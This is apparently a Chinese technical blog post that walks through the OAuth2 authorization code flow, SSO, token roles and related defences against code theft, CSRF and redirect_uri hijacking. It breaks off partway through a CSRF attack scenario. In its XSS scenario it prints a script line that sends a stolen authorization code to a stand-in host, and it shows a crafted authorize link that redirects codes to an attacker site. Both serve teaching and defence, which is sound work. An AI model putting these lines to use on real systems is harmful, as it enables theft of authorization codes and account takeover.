从 SSO 登录到跨系统资源访问:OAuth2 授权码模式全链路交互详解
全链路交互
角色场景
-
场景描述:用户 Zhangsan 想要在“系统 B”里查看他在“系统 A”的订单,但他还没登录。
-
四大角色:
- User:用户(Zhangsan)
- Client (System B):客户端(系统B),包含前后端,假设登录归AS管
- Resource Server (System A):资源服务器(系统A),包含前后端,登录归AS管
- Authorization Server (AS):授权服务器,包含前后端
-
核心痛点:根据最小权限原则,系统B不应该拥有系统A所有接口以及数据的权限
第一部分 —— 身份的证明(SSO 登录与授权意愿)
核心逻辑:用户浏览器在系统 B 和授权中心之间“反复横跳”,完成登录并表达授权意愿。
-
1.1 发起授权
- 系统 B 前端首先检查浏览器 localStorage,因未获取到有效用户信息(如 Zhangsan 的凭证),判定当前为未登录状态,并向用户展示指向 SSO 的登录链接。
- 用户点击登录链接后,系统 B 前端执行跳转操作,将浏览器重定向至授权服务器的前端页面(SSO.vue)。
- 在跳转的 URL 中,系统 B 附带了以下核心 OAuth2 参数以声明意图:
client_id:系统 B 的身份标识(申请者)。resource_id:目标资源标识(本例为系统 A 的client_id,表明要访问系统 A)。scope:申请的权限范围(系统 B 要在系统 A 执行的操作)。response_type:授权类型(通常为code)。redirect_uri:登录后的回调地址。state:随机防伪参数(用于防范 CSRF 攻击)。
-
1.2 SSO 的静默检测
-
授权服务器前端页面(
SSO.vue)加载时触发created()生命周期钩子。前端随即向后端接口GET /system/oauth2/authorize发起请求,透传了从系统 B 接收到的所有关键参数(client_id、response_type、scope、state、resource_id),以询问当前用户的登录与授权状态。 -
授权服务器后端通过过滤器(Filter)拦截请求,执行两层校验:
- 合法性校验:确认
client_id有效,且该客户端具备请求目标resource_id下对应scope的权限。 - 身份校验:由于请求头未携带有效的
AccessToken(SSO 会话凭证),导致 Spring Security 上下文(SecurityContext)为空。后端判定用户未登录,校验失败并返回 HTTP 401 Unauthorized 状态码。
- 合法性校验:确认
-
授权服务器前端捕获到 401 响应后,判定当前用户处于未登录状态。在尝试使用
RefreshToken刷新会话失败后,前端将路由导航至授权服务器的 统一登录页面(Login Page),等待用户输入账号密码。
-
-
1.3 登录授权中心
-
用户在授权服务器的统一登录页面输入账号与密码,并点击登录按钮。授权服务器前端随即请求向后端接口
/system/oauth2/login发送用户的身份凭证。 -
授权服务器后端接收请求并执行身份鉴权逻辑(如查库比对密码)。验证通过后,后端为该用户建立 SSO 全局会话,并颁发
AccessToken1(注:此处指 SSO 系统的会话凭证,用于证明用户在授权中心的登录态),返回给前端。
-
-
1.4 二次握手与意愿确认
-
登录验证通过后,前端将页面重定向回之前的授权入口页面(
SSO.vue)。页面初始化逻辑再次触发,向后端接口GET /system/oauth2/authorize发起第二次授权请求。与首次请求不同,此次请求头部(或 Cookie)携带了新获取的AccessToken1(SSO 会话凭证),同时依然包含client_id、resource_id、scope等原始 OAuth2 协议参数。 -
授权服务器后端首先校验
AccessToken1的有效性以确认用户身份(Zhangsan),随后复查客户端与目标资源的权限申请合法性。验证无误后,后端查询并返回用于渲染 “授权确认页(Consent Page)” 的关键元数据,包括:客户端名称(“系统 B”)、当前用户信息、以及申请的权限范围(如“读取系统 A 的数据”)。 -
授权服务器前端根据返回元数据渲染页面,向用户展示:“系统 B 请求访问您在系统 A 的 user.read 和 user.write 权限”。用户确认勾选并点击“允许”后,前端构建
POST /system/oauth2/authorize请求发送给后端,提交用户的最终授权意愿。该请求携带了AccessToken1(证明是谁授权的)、client_id、redirect_uri、resource_id以及用户最终批准的scope列表。
-
-
1.5 生成授权码
-
授权服务器后端接收用户的确认请求,首先验证 SSO 凭证(
AccessToken1)以确立当前操作者身份。随后进入核心处理流程:- 协议参数校验:再次确认
redirect_uri与注册白名单匹配,且response_type为code。 - 持久化授权记录:在数据库
approve表中插入或更新记录,正式将“用户 Zhangsan 对系统 B 访问系统 A 资源的授权”标记为 已批准(Approved)。 - 生成授权码(Code):生成一个短时效、一次性的 Authorization Code。将该 Code 作为 Key,对应的用户 ID、Scope、ResourceID 等上下文信息作为 Value,存入 Redis(设置短期过期)及数据库中。
- 重定向响应:将生成的 Code(以及原样返回的 State)拼接到回调地址后(如
http://sys-b.com/cb?code=xyz&state=...),向前端返回 HTTP 302 重定向 指令。
- 协议参数校验:再次确认
-
第二部分 —— 以Code换Token
核心逻辑:前端退场,后端登场。这是最安全的“背靠背”通信环节。
-
2.1 传递Code
- 浏览器响应重定向指令,跳转回系统 B 前端,系统B此时拿到了Code(及 State)。系统 B前端构建 HTTP POST 请求(如
/systemB/login-by-code),附带 Code与redirecturi 发送给系统 B 后端。
- 浏览器响应重定向指令,跳转回系统 B 前端,系统B此时拿到了Code(及 State)。系统 B前端构建 HTTP POST 请求(如
-
2.2 颁发令牌
-
系统 B 后端接收到前端传来的 Authorization Code与redirecturi 后,立即构建 HTTP POST 请求,向授权服务器的令牌接口(
auth/oauth2/token)发起调用。此次请求必须通过 HTTPS 通道传输,且携带以下核心凭证:code:核心兑换凭证。client_id&client_secret:系统 B 的“身份证”与“密码”(用于证明请求者是合法的系统 B 后端,而非黑客)。resource_id:再次确认目标资源归属。- (注:标准协议中通常还需携带
redirect_uri用于二次校验)
-
授权服务器后端接收请求(此端点通常不校验 User Token,而是校验 Client Credentials)。服务器执行严格的 “阅后即焚” 逻辑:
- 身份认证:比对
client_secret,确认系统 B 身份合法。 - Code 验证:检查
code是否存在、未过期,且与当前client_id及user_id强绑定。 - Code 销毁:验证通过后,立即从数据库/Redis 中删除该 Code,防止重放攻击。
- 令牌生成与持久化:生成正式的 AS_AccessToken,将其与
user_id、client_id、resource_id及scope绑定并持久化存储。最终,将 Token 通过响应体返回给系统 B 后端。
- 身份认证:比对
-
第三部分 —— 本地会话的建立(身份同步)
核心逻辑:系统 B 拿到了 AS 的令牌,但它自己也需要建立登录态。
-
3.1 用户身份同步
-
系统 B 后端首先将刚刚获取的 AS_AccessToken 进行持久化存储(通常存入 Redis 并与当前会话绑定,或存入数据库),以便后续复用。紧接着,系统 B 后端构建 HTTP GET 请求,调用授权服务器的 UserInfo 端点(
auth/oauth2/userinfo)。在此请求中,必须将 AS_AccessToken 置于 HTTP Header 的Authorization: Bearer <token>字段中,作为调用凭证。 -
授权服务器后端接收请求,执行严格的令牌内省逻辑:
- 有效性校验:确认 AS_AccessToken 签名正确且未过期。
- Scope 审查:检查该 Token 是否包含获取用户信息所需的权限(如
openid、profile或email)。 - 数据组装与响应:校验通过后,根据 Token 绑定的
user_id查询用户档案,按需提取字段(如 Username、Email、Avatar),将其封装为 JSON 对象返回给系统 B。
-
-
3.2 本地账户映射与会话确立
-
系统 B 后端基于获取的用户身份信息(UserInfo),执行 “即时开户” 策略:
- 账户映射:检索本地数据库是否存在该
user_id(来自授权服务器)对应的记录。若不存在,则自动注册生成一个 “影子账号”;若存在,则根据最新信息更新本地档案。 - 会话签发:系统 B 为该用户生成专属的 本地会话凭证(AccessTokenB)(注:此 Token 仅由系统 B 签发和验证,用于访问系统 B 自身的业务接口,完全独立于授权服务器的 Token)。
- 响应返回:将 AccessTokenB 及用户基础画像封装后返回给前端。
- 账户映射:检索本地数据库是否存在该
-
系统 B 前端接收响应后,执行以下操作以确立前端登录态:
- 凭证存储:将 AccessTokenB 写入浏览器的持久化存储区域(通常为
localStorage或Cookie),以便在后续调用系统 B 业务接口时放入 Header 使用。 - UI 更新:解析用户画像数据,移除“登录/注册”入口,渲染包含用户头像、昵称在内的已登录界面,标志着 SSO 登录流程的最终完成。
- 凭证存储:将 AccessTokenB 写入浏览器的持久化存储区域(通常为
-
第四部分 —— 跨系统借阅(资源代理)
核心逻辑:系统 B 充当代理人,帮用户去取系统 A 的数据。
-
4.1 业务触发与代理请求发起
- 用户在系统 B 前端界面点击“查看系统 A 订单”按钮,触发业务流程。系统 B 前端并不直接请求系统 A(由于 CORS 跨域限制及安全考量),而是向 系统 B 后端 的代理接口(如
GET /systemB/api/proxy/orders)发起请求。在此次请求中,前端仅需携带 本地会话凭证(AccessTokenB) 及用户标识,将获取外部资源的重任委托给系统 B 后端处理。
- 用户在系统 B 前端界面点击“查看系统 A 订单”按钮,触发业务流程。系统 B 前端并不直接请求系统 A(由于 CORS 跨域限制及安全考量),而是向 系统 B 后端 的代理接口(如
-
4.2 本地鉴权与令牌注入转发
-
系统 B 后端拦截前端发起的代理请求,执行以下关键操作:
- 本地会话校验:首先验证请求头中 AccessTokenB 的有效性,确保当前操作者是系统 B 的合法登录用户。
- 凭证置换与请求构建:校验通过后,根据用户 ID 从服务端存储(Redis/DB)中提取出之前托管的 授权服务器 AS_AccessToken(即访问系统 A 的真实凭证)。
- 上游调用:构建指向系统 A 的 HTTP 请求(
GET systemA/orders),将提取出的 AS_AccessToken 注入到 HTTP Header 的Authorization字段中,正式向资源服务器(系统 A)发起数据调用。
-
第五部分 —— 令牌内省
核心逻辑:系统 A 不认识这个 Token,必须找权威机构验票。
-
5.1 资源服务器拦截与远程令牌内省
- 系统 A 后端(资源服务器)接收到请求后,首先从 HTTP Header 中提取出 Bearer Token。由于该 Token 对于系统 A 而言是 不透明令牌(或者为了确保 Token 未被实时吊销),系统 A 无法仅凭本地算法完成验证。因此,系统 A 需构建 POST 请求调用授权服务器的 内省接口(如
auth/oauth2/check-token)。在此请求中,系统 A 除了发送待验证的 AS_AccessToken 外,必须同时附带自身的client_id和client_secret,以向授权服务器证明自己是合法的资源服务器,从而获准查询令牌详情。
- 系统 A 后端(资源服务器)接收到请求后,首先从 HTTP Header 中提取出 Bearer Token。由于该 Token 对于系统 A 而言是 不透明令牌(或者为了确保 Token 未被实时吊销),系统 A 无法仅凭本地算法完成验证。因此,系统 A 需构建 POST 请求调用授权服务器的 内省接口(如
-
5.2 鉴权与数据交付
-
资源服务器(系统 A)收到授权服务器的内省响应后,执行严格的策略执行逻辑:
- 元数据解析:解析响应体,确认令牌状态为
active: true,识别出请求方为 System B,授权主体为 Zhangsan,且被授予的权限范围包含user.read和user.write。 - 权限裁决:系统 A 将令牌携带的
scope与当前接口(查询订单)所需的最小权限进行比对。确认user.read满足读取要求,通过鉴权。 - 业务履约:系统 A 后端解除拦截,执行数据库查询操作,获取 Zhangsan 的订单列表,并以 JSON 格式返回给系统 B 后端(随后逐级返回给前端展示),至此闭环完成。
- 元数据解析:解析响应体,确认令牌状态为
-
第六部分 —— SSO 的验证(系统C静默登录)
核心逻辑:利用浏览器在授权中心(AS)域下留存的全局会话凭证,在访问新系统(系统 C)时跳过认证环节,实现无感登录。
-
6.1 初始访问与自动重定向
- 用户在同一浏览器的新标签页访问 系统 C。系统 C 前端初始化时检查本地存储(localStorage/Cookie),发现没有用户信息,判定为本地未登录。
- 系统 C 前端立即构建标准的 OAuth2 授权请求(
client_id=SystemC),将浏览器重定向至授权服务器的前端页面(SSO.vue)。
-
6.2 全局会话的静默检测
- 浏览器跳转至授权服务器页面后,AS 前端代码执行(如在
created()生命周期)。它检测到当前 AS 域下的 localStorage 中已存在有效的accesstoken1(这是之前用户登录系统 B 时由 AS 颁发的全局会话凭证)。 - AS 前端不再渲染登录框,而是直接发起
GET /system/oauth2/authorize请求,并将accesstoken1放入 HTTP Header 中发送给 AS 后端。
- 浏览器跳转至授权服务器页面后,AS 前端代码执行(如在
-
6.3 鉴权通过与自动发码
- AS 后端验证
accesstoken1的签名与时效,确认用户“Zhangsan”处于活跃登录状态,因此不再返回 401(未登录),而是直接通过身份认证。 - 鉴于系统 C 属于企业内部受信系统(First-party),AS 后端执行 自动批准(Auto Approve) 策略,跳过用户手动点击“允许授权”的交互页面。若系统C不在自动批准列表内,只需要用户在前端点击允许授权,发送一次Post Authorization请求,AS后端就会返回code。
- AS 后端针对系统 C 生成专属的 Authorization Code(codeC),并指示浏览器 302 重定向回系统 C 的回调地址。
- AS 后端验证
-
6.4 闭环:票据兑换与新会话建立
- 前端接力:系统 C 前端接收到
codeC,将其发送给系统 C 后端(login-by-code)。 - 后端换票:系统 C 后端携带
client_id_C、client_secret_C和codeC向 AS 后端请求兑换。 - 建立连接:AS 验证通过后,颁发
as_accesstokenC给系统 C 后端(用于后续系统 C 后端保持与 AS 的连接或代理资源访问)。 - 本地登录:系统 C 后端生成自己的
accesstokenC返回给前端。用户感觉到的是:刚刚打开系统 C 的网址,页面闪烁了一下,就直接显示为了登录状态。
- 前端接力:系统 C 前端接收到
Q&A
在上面的示例中,三个服务器,有几个user表,几个accesstoken表,几个client表,分别在哪个服务器上,什么关系。
在分布式/微服务架构中,物理上隔离,逻辑上关联是核心。
| 表名 | 总数量 | 分布位置 | 核心作用 |
|---|---|---|---|
| User 表 | 3 个 | AS, System B, System A 各有一个 | AS 存账号密码;B/A 存业务关联数据 |
| Client 表 | 1 个 | 仅 AS 有 | AS 需要管理谁有资格接入 |
| AccessToken 表 | 2 个 | AS (核心), System B (会话) | AS 存 OAuth 令牌;B 存本地会话令牌 |
系统B怎么查该用户在系统A的信息,是向授权服务器查还是系统A查
- 如果查的是“基础身份信息” ,如账号 (
zhangsan)、全局 UserID (1001)、邮箱、手机号、头像 -> 找授权服务器,因为这些信息是所有系统公用的,由 AS 统一托管。比如,系统 B 刚拿到 Token,想知道“现在的登录用户叫什么名字,我要在右上角显示‘欢迎,张三’”。 - 如果查的是“系统A的业务用户信息” 比如系统 A 的收货地址、VIP 等级、订单历史、收藏夹-> 找系统 A,因为授权服务器只管“登录”,不管“业务”。它根本不知道张三在系统 A 买了什么书,或者住在哪里。这些数据只存在于系统 A 的数据库里。
流程中出现多个accesstoken,分别是什么作用,区别在哪
| 特性 | 1. AccessToken1 |
2. AS_AccessToken |
3. AccessToken_B |
|---|---|---|---|
| 通俗叫法 | SSO 登录态 / 身份证 | 资源令牌 / 门票 | 本地 Token / 会员卡 |
| 谁生成的? | 授权服务器 | 授权服务器 | System B 后端 |
| 谁拿着? | 用户浏览器 | System B 后端 (Redis) | 用户浏览器 |
| 发给谁检查? | 授权服务器 (/authorize) |
System A (/orders) |
System B 后端 (/api/*) |
| 存什么信息? | UserID | UserID + Scope + Audience | UserID + B系统业务角色 |
| 核心目的 | 让你不需要重复输密码 | 让 B 系统能合法操作 A 系统 | 维持 B 系统的网页登录状态 |
scope是什么,有什么作用,举例说明
Scope 是一个字符串(比如 user.read, order.write),一般配合Resourceid(指目标资源服务器是谁,比如 systemA 的clientid),AS服务器的code表,accesstoken表,approve表中可能有userid,clientid,resourceid,scope字段它代表了第三方应用系统 B的用户张三在资源服务器系统 A上的具体权限范围scope。
假如系统B修改了前端文字“系统B需要您在系统A的xx权限”,修改为其它文字,用户勾选了之后点击提交,那系统B岂不是骗过了用户
产生这个疑虑,可能是因为混淆了 “页面是谁渲染的” 这个问题。
- 用户在系统 B 点击登录。
- 浏览器跳转(Redirect) 到了授权服务器(
sso.vue)。
- 此刻,浏览器地址栏显示的域名是 授权服务器的域名(例如
auth.aliyun.com),而不是系统 B 的域名(system-b.com)。 - 用户看到的这个“同意授权页面”,其 HTML、CSS、JavaScript 代码,全部来自授权服务器。
- 系统 B 在这一步,已经彻底失去了对浏览器的控制权。
第二部分,系统B后端拿code向AS后端换token时,传参code,clientid,clientsecret,resourceid。为什么没有userid和scope
没有userid:授权服务器后端判断用户信息并不是依靠请求体传参userid,而是靠code在自己数据库上与用户的绑定。如果靠传参userid,那么系统B拿到zhangsan的code,却传参userid=lisi,岂不是伪造让lisi获得accesstoken了。
没有scope:传参的code已经在AS数据库中与用户信息绑定了,包括scope
Clientsecret有什么作用,数据流向是什么
client_secret 是 OAuth2 协议中保障 “系统级安全” 的最后一道防线,也是最重要的防线之一。
其它服务器后端向授权服务器发送请求时,一定要带上自己的clientsecret,才能表明自己是真的服务器后端而不是被伪造的。也因此Clientsecret不能暴露给前端,始终在后端待着。
自动授权又是什么,在流程中扮演什么角色
自动授权 是 OAuth2 流程中的一种绿色通道机制。也就是当用户登录后,授权服务器不再弹出“是否同意某某系统访问您的信息”的询问页面,而是直接默认用户同意,静默发放授权码(Code)。一般AS只向内部授权应用开自动授权。
我们知道,在Oauth2实现的系统中,系统B前端持有系统B后端的accesstokenB,系统B后端持有as_accesstoken可以来访问系统A。此时如果as_accesstoken过期,该怎么续呢?
由于as_accesstoken和as_refreshtoken对前端来说都是透明的,因此续时操作肯定是后端自动完成的,也是对前端和用户透明的。当用户通过系统B前端向系统B后端发送访问系统A资源的请求,而系统B后端构建请求发送给系统A时,系统A通知accesstoken过期,此时系统B后端收到过期回复,就会自动发送refreshtoken请求给系统A,之后用返回的新的as_accesstoken重新请求系统A的资源。这整个过程对用户透明。如果as_refreshtoken也过期了,就需要用户重新授权了。
微服务中,网关,授权服务器AS,资源服务器RS之间的关系是什么
在微服务中,所有请求都先经过网关,网关决定请求发给谁。
用户以及认证信息存储在AS中,业务相关信息存储在RS中,网关没有持久化存储。
由于网关有认证请求身份的职责(如校验token),而accesstoken等又是存储在AS中的,这时有几种解决方案:网关和AS配置同一个redis地址;网关远程请求AS来校验token;JWT(博主还没学到,先不管)。
由于网关已经过滤了请求的token校验了,因此当有请求发给AS时(比如请求用户基本信息),AS直接返回就行。当有请求发给RS时(比如请求用户订单信息),RS也不需要检验token,但是由于与具体业务相关,因此要判断请求scope是否有权调用此接口,判断当前用户是否有权限查询该订单信息(比如登录用户zhangsan,但是要查lisi的order)等。
在Oauth2协议中,SSO单点登录的授权服务器与各个资源服务器,都分别应该有什么表。如果说是多表查询,要联合授权服务器和资源服务器多个表,此时该怎么做
核心原则:授权服务器(AS)管“钥匙和身份”,资源服务器(RS)管“资产和业务”。
AS应该有表:oauth_users(存储业务无关用户信息),oauth_clients(存储客户端信息),oauth_access_tokens , oauth_refresh_tokens,oauth_approvals(存储用户已批准的系统B在系统A上的权限信息),oauth_code(存储client后端的授权码)。
其它与业务相关的归RS管。如system_users,system_orders等。
| 数据类型 | 谁存数据库 (Master) | 谁负责修改 | 例子 |
|---|---|---|---|
| 认证凭证 | 授权服务器 (AS) | 仅 AS | 账号、密码、密保手机、MFA密钥 |
| 全局属性 | 授权服务器 (AS) | 仅 AS | 全局唯一的 UserID、账号状态(封禁) |
| 通用画像 | AS 为主 (RS可缓存) | AS | 昵称、头像、性别 (所有系统通用的) |
| 业务画像 | 资源服务器 (RS) | RS | 收货地址、积分、游戏等级、会员状态 |
| 业务数据 | 资源服务器 (RS) | RS | 邮件内容、订单记录、私有照片 |
| 权限授予 | 授权服务器 (AS) | AS | 用户允许 APP 访问通讯录的记录 |
所谓的“多表查询”怎么做?
AS 有用户的头像和昵称,RS 有用户的订单。前端想展示一个列表,既要有订单信息,又要有用户头像,怎么查?
由于数据库是物理隔离的,你无法写出 SELECT * FROM as.users u JOIN rs.orders o ON u.id = o.user_id 这种 SQL。
解决方案有三种,按推荐程度排序:
方案 A:JWT 冗余信息法 (最常用,性能最高)
利用 OAuth2 的 Token (JWT) 作为信息的载体。
- 原理:当 AS 颁发 Access Token 时,不仅仅放入
user_id,还把常用的nickname,avatar_url,role等非敏感信息放入 JWT 的 Payload 中。 - RS 的行为:RS 收到 Token 后,解析 Token 就能直接拿到用户的昵称和头像,无需查 AS 的数据库,直接拼装到自己的业务数据中返回给前端。
- 缺点:如果用户改了昵称,Token 没过期之前,RS 看到的还是旧昵称(通常可以忍受)。
方案 B:UserInfo Endpoint (标准 OAuth2 做法)
利用 OAuth2 标准的 /userinfo 接口。
-
原理:AS 暴露一个受保护的 API
GET /userinfo。 -
RS 的行为:
- 前端请求 RS 获取订单列表。
- RS 从数据库查出订单(包含
user_id)。 - RS 后端拿着 Token 去调用 AS 的
/userinfo接口,拿到用户详情。 - RS 在内存中将“订单数据”和“用户详情”组装,返回给前端。
-
优化:RS 可以在本地 Redis 缓存
/userinfo的结果,避免每次都远程调用 AS。
方案 C:数据冗余/同步 (适用于高性能要求)
在 RS 中存一份用户的副本。
- 原理:RS 建一张
local_users表。 - 同步机制:当用户在 AS 修改资料时,AS 通过 MQ (消息队列) 发布一条
UserUpdated消息。RS 订阅这个消息,更新自己的local_users表。 - 查询:RS 直接在本地 Join 自己的
orders表和local_users表。
第一部分结尾,AS前端发送POST /authorization请求,后端校验成功并返回code时,为什么不只返回授权码code,redirecturi是AS前端传给后端的,所以前端有redirecturi信息,只要前端接收后立即拼接redirecturi和code,并跳转,不也是挺安全的么
假设 AS 的登录页面(或授权确认页)由于开发疏忽,存在一个 XSS 漏洞。黑客已经成功在这个页面植入了一段恶意脚本(Hook 脚本)。
方式 A:后端返回 JSON Code,前端拼接
- 用户点击授权:前端 JS 发起 AJAX/Fetch 请求
POST /authorize。 - 恶意脚本监听:黑客的 XSS 脚本提前劫持了
XMLHttpRequest或fetch对象(这在 XSS 攻击中非常基础)。 - 后端响应:后端返回 HTTP 200,Body 为
{"code": "sec_code_123"}。 - 漏洞爆发:
- 因为响应是 JSON 数据,它必须被加载到浏览器的 JS 内存 中。
- 黑客的劫持脚本拦截到响应对象,读取 responseText。
- 黑客脚本执行:
fetch('http://hacker.com?steal=' + json.code)。 - 结果:Code 被窃取了。
- 后续:此时前端正常的 JS 再去拼接
redirect_uri并跳转,已经晚了。Code 已经发给黑客了。
核心问题:Code 作为“数据”进入了 JS 上下文,任何在该页面运行的 JS(包括恶意脚本)都有权限读取它。
方式 B:标准方案(后端返回 HTTP 302 Location)
- 用户点击授权:
- 通常这是一个传统的
<form>表单提交(非 AJAX)。 - 或者是一个会导致 页面刷新(Hard Navigation) 的请求。
- 通常这是一个传统的
- 后端响应:
- 后端返回 HTTP 302 Found。
- Header:
Location: http://system-b.com/cb?code=sec_code_123。 - Body: Empty (空)。
- 浏览器行为(关键点):
- 浏览器收到 302,立即执行跳转。
- 当前页面(AS 页面)直接卸载(Unload)。
- JS 无法读取 Header:在传统的表单提交或直接导航中,当前页面的 JS(包括黑客的 XSS)根本无法捕获这个 302 响应的 Header 内容。页面直接就“死”了,跳到了新页面。
- 结果:黑客的 XSS 脚本还没来得及看到 Code,自己就已经随着旧页面被销毁了。
第二部分,系统B前端在拿到code时,用户的系统B前端并没有与系统B的后端保持会话关系,此时系统B不知道当前是哪个用户,AS后端知道当前是哪个用户(code绑定了userid),系统B前端发送login-by-code时也不附带用户的accesstokenB(因为此时还没生成,用户还没登录成功呢)。那么此时如果黑客窃取到了code,模拟用户发送login-by-code请求,系统B肯定会通过,那岂不是黑客建立了与系统B的会话,用户的信息全被窃取了
如果系统 B 没有实施额外的安全防御,这是一个严重的 账号接管漏洞(Account Takeover)。
- 漏洞原理:在“无防御”模式下,Authorization Code 对于系统 B 来说就像一张“无记名支票”。系统 B 在未登录态下无法区分“拿着 Code 来换票的人”是真正的用户张三,还是窃取了 URL 的黑客。
解决方案1:建立“临时握手会话” (State 参数)
为了防御此漏洞,系统 B 必须在用户跳转去 AS 之前,先建立一个匿名的“设备指纹”关联。这通常通过 state 参数配合 Cookie 来实现。
-
防御流程复盘:
- 埋点(后端主导跳转):
- 当系统 B 前端发现用户未登录,不再直接跳转到AS前端,而是向系统B后端请求,系统 B 后端 生成随机字符串
state=xyz。 - 动作 A(公钥):将
state=xyz拼接到 URL 中发送给 AS。 - 动作 B(私钥):将
state=xyz(或其关联 ID)写入用户浏览器的 HttpOnly Cookie 中(或后端 Session)。
- 窃取(黑客拦截):
- 黑客拦截了回调 URL,拿到了
code=CODE和state=xyz(明文)。 - 关键点:由于浏览器 同源策略 的保护,黑客无法窃取张三浏览器里的 Cookie。
- 收网(双重校验):
- 真用户请求:携带了 URL 里的
state=xyz以及 浏览器自动带上的Cookie: state=xyz。后端比对一致 -> 通过。 - 黑客请求:虽然填入了 URL 里的
state=xyz,但由于黑客没有张三的 Cookie,请求中缺失 Cookie(或 Cookie 签名不对)。后端比对失败 -> 拒绝。
-
为了让上述防御生效,系统设计必须遵循以下原则:
- 后端掌控跳转:系统B前端不能直接
window.location跳去 AS,必须先调后端接口(如/get-login-url),由系统B后端种下 Cookie 并返回跳转地址。 - Cookie 安全:Cookie 必须由后端设置,且使用
HttpOnly和签名(Signed Cookie),有了签名黑客就无法伪造Cookie。
- 后端掌控跳转:系统B前端不能直接
-
那有人就说了,黑客不能靠此state去伪造一个cookie传给系统B后端么
问题就在于,比如 带有签名的cookie值=Hash(state+系统B服务器后端密钥),即使黑客有state也不晓得服务器密钥是什么,因此无法伪造。假设黑客传的cookie与state不匹配,系统B后端拿传来的state与自己密钥结合,计算哈希值,发现不等于黑客传的cookie,于是拒绝。
解决方案2:服务端会话绑定 (Session/Redis)
为了防御此漏洞,系统 B 利用服务端的存储(如 Redis)来维护“设备指纹”与 State 的映射关系。这种方式不把 State 的值直接存在 Cookie 里,而是将 State 存在服务端,仅给浏览器一把“索引钥匙”(Session ID)。
-
防御流程复盘:
- 埋点(后端主导跳转):
- 当系统 B 前端发现用户未登录,向系统 B 后端请求登录地址。
- 系统 B 后端 生成随机字符串
state=xyz,并生成(或获取当前)唯一的会话标识SessionID=sess_abc。 - 动作 A(公钥):将
state=xyz拼接到 URL 中发送给 AS。 - 动作 B(暗箱/私钥):将
state=xyz存储在服务端的内存/Redis 中,并与SessionID绑定(Key:sess_abc-> Value:xyz)。同时,将SessionID写入用户浏览器的 HttpOnly Cookie 中。
- 窃取(黑客拦截):
- 黑客拦截了回调 URL,拿到了
code=CODE和state=xyz(明文)。 - 关键点:由于浏览器 同源策略 的保护,黑客无法窃取张三浏览器里的 SessionID Cookie。黑客虽然看到了 State 明文,但他没有那个能去 Redis 里查数据的“索引 ID”。
- 收网(双重校验):
- 真用户请求:携带了 URL 里的
state=xyz以及 浏览器自动带上的Cookie: SessionID=sess_abc。后端拿着sess_abc去 Redis 查出expected_state,发现等于xyz-> 通过。 - 黑客请求:虽然填入了 URL 里的
state=xyz,但由于黑客没有 SessionID(或者用黑客自己的 SessionID)。后端去 Redis 查不到数据,或者查出的数据与 URL 里的 State 不匹配 -> 拒绝。
-
为了让上述防御生效,系统设计必须遵循以下原则:
- 后端掌控跳转:与 Cookie 方案一致,必须由后端生成跳转链接,以便后端有机会在 Redis 中记录 State 并下发 SessionID。
- 服务端存储:系统 B 必须具备状态存储能力(如 Redis),且 State 的存储应设置较短的过期时间(如 5-10 分钟),防止内存堆积。
安全策略
重定向劫持与 Redirect URI 校验
1. 攻击原理与流程复盘
本节阐述攻击者如何利用 AS(授权服务器)对回调地址校验的缺失,诱导 AS 将属于受害者的“授权码(Code)”发送到攻击者的服务器,从而实现账户接管。
场景预设:
- 客户端(Client):系统 B(如某在线商城,后端持有
client_id,client_secret)。 - 授权服务器(AS):统一认证中心。
- 攻击者(Attacker):搭建了恶意站点
http://hacker-site.com。 - 受害者(Victim):想要登录系统 B 的普通用户。
攻击步骤详情:
- 构造恶意链接:
攻击者构造一个标准的 OAuth2 授权链接,client_id指向合法的系统 B,但在redirect_uri参数上做了手脚,指向攻击者的服务器:https://as-server.com/authorize?client_id=SystemB&response_type=code&redirect_uri=http://hacker-site.com/steal - 受害者触发请求:
攻击者通过邮件或社交媒体诱导受害者点击该链接。由于链接域名属于可信的“统一认证中心(AS)”,受害者放松警惕并点击。 - 用户授权:
受害者在 AS 的登录页输入账号密码并确认授权。此时 AS 认为受害者是向合法的“系统 B”进行授权。 - AS 错误放行(关键漏洞点):
AS 生成了属于受害者的code_user。在准备重定向时,AS 未校验 请求中的redirect_uri是否属于系统 B 的注册白名单,直接采信了请求参数,执行 302 重定向至http://hacker-site.com/steal?code=code_user。 - 窃取与利用:
受害者的浏览器跳转至攻击者站点,code_user被记录在攻击者的服务器日志中。攻击者随即使用该 Code(若 Client 无 Secret 保护或攻击者通过其他手段获取了 Secret)向 AS 换取 Token,从而接管受害者在系统 B 的账户。
2. 攻击危害
这种被称为“开放重定向(Open Redirect)”的漏洞会导致以下严重后果:
- 授权码泄露(Code Interception): OAuth2 流程中最核心的临时凭证直接暴露给第三方,使得原本安全的“授权码模式”安全性退化。
- 账户接管(Account Takeover): 对于移动端 App 或单页应用(Public Client),攻击者拿到 Code 后可直接换取 Access Token,完全控制受害者账号。
- 钓鱼信任背书: 攻击链接以 AS 官方域名开头,极具欺骗性,常被用于辅助其他网络钓鱼或恶意软件分发攻击。
3. 防御方案:白名单严格校验
为防止授权码泄露,AS 必须实施严格的“预注册+完全匹配”策略。
防御流程:
- 注册与配置(预处理):
系统 B 在接入 AS 时,必须在 AS 后端的配置表(或数据库)中显式注册合法的回调地址,例如:https://system-b.com/callback。 - 请求接收(AS 端):
当受害者点击授权链接时,AS 接收到请求参数redirect_uri=http://hacker-site.com/steal。 - 严格校验(AS 端):
AS 在生成 Code 之前,执行以下逻辑:
- 读取 A:请求参数中的
redirect_uri。 - 读取 B:数据库中该
client_id对应的白名单列表。 - 判定:检查 A 是否完全等于 B 中的某一项。
攻击防御实效:
在上述攻击场景中,AS 发现请求中的 http://hacker-site.com/steal 不在系统 B 注册的白名单(https://system-b.com/callback)内。AS 将判定请求非法,直接拒绝生成 Code,并向用户返回错误提示(如 Invalid redirect_uri)。攻击者无法获取 Code,攻击链路被在源头切断。
回调攻击与state
1. 攻击原理与流程复盘
本节阐述攻击者如何利用 CSRF 漏洞,诱导受害者将其客户端账户绑定至攻击者的第三方资源账户。
场景预设:
- 客户端(Client):中国移动邮箱(后端持有
client_id,client_secret)。 - 授权服务器(AS):网易授权服务器。
- 攻击者(Attacker):持有自己的网易账号与移动邮箱账号。
- 受害者(Victim):在浏览器已登录移动邮箱(持有
accesstoken-yidong),且处于会话活跃状态。
攻击步骤详情:
- 攻击者获取诱饵 Code:
攻击者在浏览器登录自己的移动邮箱账号,发起绑定网易邮箱请求。在网易授权页面登录攻击者自己的网易账号并确认授权。网易 AS 生成授权码codeH(关联攻击者的网易 ID)。攻击者拦截重定向请求,暂停流程,保留codeH。 - 构造恶意请求:
